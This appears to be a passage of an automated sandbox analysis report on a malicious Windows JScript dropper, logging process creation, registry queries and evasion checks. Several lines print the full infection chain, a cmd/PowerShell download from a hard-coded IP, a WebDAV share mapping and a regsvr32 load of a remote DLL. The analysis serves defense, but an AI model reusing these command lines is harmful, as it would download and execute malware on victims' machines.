Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9259.js.csv");ITextStream.WriteLine(" entry:8520 f:gbcbehdhx");ITextStream.WriteLine(" exec:2 f:gbcbehdhx");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3588			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6240			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7740	Thread sleep count: 3588 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7740	Thread sleep count: 6240 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7804	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7724	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7812	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7992	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 752	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000000.00000002.1414173613.000001FAFF770000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: net.exe, 00000007.00000002.1481955263.0000015DF092E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1480605794.0000015DF092E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1476598355.0000015DF092E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2694612402.0000025CD2854000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1481563244.0000015DF08C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: svchost.exe, 00000009.00000002.2693812326.0000025CCD22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`c
Source: net.exe, 00000007.00000002.1481955263.0000015DF092E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1480605794.0000015DF092E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1476598355.0000015DF092E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWIO

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

